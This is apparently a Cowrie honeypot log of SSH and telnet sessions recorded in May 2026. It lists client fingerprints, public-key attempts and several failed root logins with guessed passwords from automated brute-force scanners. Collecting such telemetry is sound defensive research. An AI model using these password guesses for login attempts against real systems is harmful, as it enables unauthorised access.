{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41288,"dst_ip":"10.17.0.5","dst_port":23,"session":"c200ef84038e","protocol":"telnet","message":"New connection: 152.42.224.71:41288 (10.17.0.5:23) [session: c200ef84038e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:53.297676Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123...","message":"login attempt [root/Root123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:54.567007Z","src_ip":"213.209.159.158","session":"9ae3f7c96f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:58.084352Z","src_ip":"213.209.159.158","session":"9ae3f7c96f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34226,"dst_ip":"159.203.135.109","dst_port":22,"session":"342bb0df5694","protocol":"ssh","message":"New connection: 213.209.159.158:34226 (159.203.135.109:22) [session: 342bb0df5694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:58.162659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:00.318883Z","src_ip":"213.209.159.158","session":"342bb0df5694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:00.323144Z","src_ip":"213.209.159.158","session":"342bb0df5694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:09.440022Z","src_ip":"213.209.159.158","session":"342bb0df5694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:12.813701Z","src_ip":"213.209.159.158","session":"342bb0df5694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6564,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d1f118aaae1","protocol":"ssh","message":"New connection: 213.209.159.158:6564 (159.203.135.109:22) [session: 2d1f118aaae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:12.919627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:14.918193Z","src_ip":"213.209.159.158","session":"2d1f118aaae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:14.921907Z","src_ip":"213.209.159.158","session":"2d1f118aaae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46900,"dst_ip":"10.17.0.5","dst_port":23,"session":"f16646b9eded","protocol":"telnet","message":"New connection: 152.42.224.71:46900 (10.17.0.5:23) [session: f16646b9eded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:18.399442Z"}
{"eventid":"cowrie.session.closed","duration":59.70757246017456,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:19.829983Z","src_ip":"152.42.224.71","session":"4b59a4f6986f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root$#","message":"login attempt [root/root$#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:24.499691Z","src_ip":"213.209.159.158","session":"2d1f118aaae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46902,"dst_ip":"10.17.0.5","dst_port":23,"session":"da4b94bac6af","protocol":"telnet","message":"New connection: 152.42.224.71:46902 (10.17.0.5:23) [session: da4b94bac6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:25.203002Z"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:27.689123Z","src_ip":"213.209.159.158","session":"2d1f118aaae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55856,"dst_ip":"159.203.135.109","dst_port":22,"session":"9763ce958252","protocol":"ssh","message":"New connection: 213.209.159.158:55856 (159.203.135.109:22) [session: 9763ce958252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:27.779949Z"}
{"eventid":"cowrie.session.closed","duration":35.983720541000366,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:29.281301Z","src_ip":"152.42.224.71","session":"c200ef84038e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:30.335886Z","src_ip":"213.209.159.158","session":"9763ce958252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:30.340237Z","src_ip":"213.209.159.158","session":"9763ce958252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOT!123","message":"login attempt [root/ROOT!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:39.439154Z","src_ip":"213.209.159.158","session":"9763ce958252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:42.599893Z","src_ip":"213.209.159.158","session":"9763ce958252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45422,"dst_ip":"159.203.135.109","dst_port":22,"session":"1decd2aec17c","protocol":"ssh","message":"New connection: 213.209.159.158:45422 (159.203.135.109:22) [session: 1decd2aec17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:42.678560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:45.180031Z","src_ip":"213.209.159.158","session":"1decd2aec17c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:45.184524Z","src_ip":"213.209.159.158","session":"1decd2aec17c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root#123","message":"login attempt [root/Root#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:54.348859Z","src_ip":"213.209.159.158","session":"1decd2aec17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:57.899166Z","src_ip":"213.209.159.158","session":"1decd2aec17c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49424,"dst_ip":"159.203.135.109","dst_port":22,"session":"70ffff367833","protocol":"ssh","message":"New connection: 213.209.159.158:49424 (159.203.135.109:22) [session: 70ffff367833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:57.989155Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.237.188.34","src_port":51648,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2c4a3f2c9ea","protocol":"ssh","message":"New connection: 23.237.188.34:51648 (10.17.0.5:22) [session: b2c4a3f2c9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:58.994743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.000227Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.067281Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:fb:5e:ae:91:63:18:22:b1:f1:75:62:f4:37:50:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIsCkRIIuJlekE2vmYIHJTyfT738/JZD1Erk2n11QIKeQVdywtNLoZUlSIatVRN4pvgkXVHxsxBsI6VCgQQ4HP1Z2NshjyxQqH/Tx7qwjON/yEAQI9DLHeSI3YnA7rwqdvignmwk+GIxEEKmYeQdHcSN+cELTSTUSDTiRAc0ataOQ3GAh5loKnvwWNUdFf5RVwEGOdVNfjfQFWqoyvbR6f9tiVTvmyks1fhnJUqmu3N31WPYo7r/TCAmmf43mZnT62YRdXoxRycVQhGYK2yWD+YIzTBKskjxB8FCs6asXCy02O9j5A3/kuEK6FQi8a7CyzFIRwysN3SqnnCG5pmFsR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:fb:5e:ae:91:63:18:22:b1:f1:75:62:f4:37:50:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.368999Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:fb:5e:ae:91:63:18:22:b1:f1:75:62:f4:37:50:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIsCkRIIuJlekE2vmYIHJTyfT738/JZD1Erk2n11QIKeQVdywtNLoZUlSIatVRN4pvgkXVHxsxBsI6VCgQQ4HP1Z2NshjyxQqH/Tx7qwjON/yEAQI9DLHeSI3YnA7rwqdvignmwk+GIxEEKmYeQdHcSN+cELTSTUSDTiRAc0ataOQ3GAh5loKnvwWNUdFf5RVwEGOdVNfjfQFWqoyvbR6f9tiVTvmyks1fhnJUqmu3N31WPYo7r/TCAmmf43mZnT62YRdXoxRycVQhGYK2yWD+YIzTBKskjxB8FCs6asXCy02O9j5A3/kuEK6FQi8a7CyzFIRwysN3SqnnCG5pmFsR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.373418Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:55:be:03:c3:4d:25:f1:4c:95:36:eb:f5:0e:46:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcuiYMjk1Ar7snX81wJs3qFL5p3hGXWQHrp4OOJkm8rgHrYvnqsuiWB/8qnR0Qdwhbv+QKPd9krD/6ynMFAIIoT5t9MGT229zVA0cqZmY9/DdGlIrdXA0rYOZjPo1RL23ubGyet3P30FabW9dniXGyrnfRwUP/gsgF22b1xi7w+YBlTVLhTUPY9kgq0WBlwMPXeKQtvizMpqy4b2zOE0CQ3IbGegOO89xTKBY2BgeL5fWvaENwdBTK+5PTZu9N3AHFYBQc3ZK/Vgwj8iwH5j+WXBose1JvQGzFCk7Kl8Vtdi0BjxRv2eYe88JHWHFnPfGlx4qCte+VI3dpEmEAH0GV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:55:be:03:c3:4d:25:f1:4c:95:36:eb:f5:0e:46:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.443462Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:55:be:03:c3:4d:25:f1:4c:95:36:eb:f5:0e:46:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcuiYMjk1Ar7snX81wJs3qFL5p3hGXWQHrp4OOJkm8rgHrYvnqsuiWB/8qnR0Qdwhbv+QKPd9krD/6ynMFAIIoT5t9MGT229zVA0cqZmY9/DdGlIrdXA0rYOZjPo1RL23ubGyet3P30FabW9dniXGyrnfRwUP/gsgF22b1xi7w+YBlTVLhTUPY9kgq0WBlwMPXeKQtvizMpqy4b2zOE0CQ3IbGegOO89xTKBY2BgeL5fWvaENwdBTK+5PTZu9N3AHFYBQc3ZK/Vgwj8iwH5j+WXBose1JvQGzFCk7Kl8Vtdi0BjxRv2eYe88JHWHFnPfGlx4qCte+VI3dpEmEAH0GV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.447642Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:92:a2:65:e1:33:f4:d4:1c:80:79:22:34:fa:7e:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmindfXmeajaifRtY+htHDbx/llF/dcx7AFB5W5sD/GBx1hfVNDtDONOOMzWAjjydrnoLj4PojX2z9EaZT9Y1zhvfpNQWa+/HGka2pSWiLCPOHTSGn69dfy7bZfNtzMYCK/egXAOOnMne2wuuvQNOZvtk81LyLLZyOLe+608TJsu59qwzwTJZ5pYW0b7CvhyVsl45O1QPml5q3aQ0oAPVX+Wjs67t8lRZiT5BfuyBjFcaLj9Nc/SGfl2soNGaCaCsiFrXV8Kl2Qr/pUl0TGff9tzRErQAnVY5aUU5aSkFu9Uv7I2mgLePOwdqiT00BdAQmABXdTPbZaqBp7DqM9jrrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:92:a2:65:e1:33:f4:d4:1c:80:79:22:34:fa:7e:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.513457Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:92:a2:65:e1:33:f4:d4:1c:80:79:22:34:fa:7e:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmindfXmeajaifRtY+htHDbx/llF/dcx7AFB5W5sD/GBx1hfVNDtDONOOMzWAjjydrnoLj4PojX2z9EaZT9Y1zhvfpNQWa+/HGka2pSWiLCPOHTSGn69dfy7bZfNtzMYCK/egXAOOnMne2wuuvQNOZvtk81LyLLZyOLe+608TJsu59qwzwTJZ5pYW0b7CvhyVsl45O1QPml5q3aQ0oAPVX+Wjs67t8lRZiT5BfuyBjFcaLj9Nc/SGfl2soNGaCaCsiFrXV8Kl2Qr/pUl0TGff9tzRErQAnVY5aUU5aSkFu9Uv7I2mgLePOwdqiT00BdAQmABXdTPbZaqBp7DqM9jrrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.517114Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:5d:9b:af:10:e7:a1:2b:92:9e:c2:13:dc:f5:b5:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5FX/Aa7vM6PqE2N+cT7cmnoBDpzJWatWzwUY3U4xD6C9hek2nkBQuXVADfcGCB2lVGqfQF29RQIkM0LUQL8W5EtzsaJCqcuvlqr3k2LCsnXsFNE7a473grHqfim3qSYCKL363caRsdgw4DJqvWV96AqDisL9AsvTw4OpaUkPUS+9fM/cZNCH7PUGVt+pwwr3r1a10LgSuH0QVVIE8A5hV2OZ6K++ThwSqZ/asX0v0KQLk9KpDpJRbNpet4HyYGMnWX13t2wWHdf6YiwZNFBdaUqAfe9l8gAsnXpJuHHBTz/VHFvzSdLjcmklVdiDcGspFWqsvlgBkz5ULnWHpQSOJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:5d:9b:af:10:e7:a1:2b:92:9e:c2:13:dc:f5:b5:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.584953Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
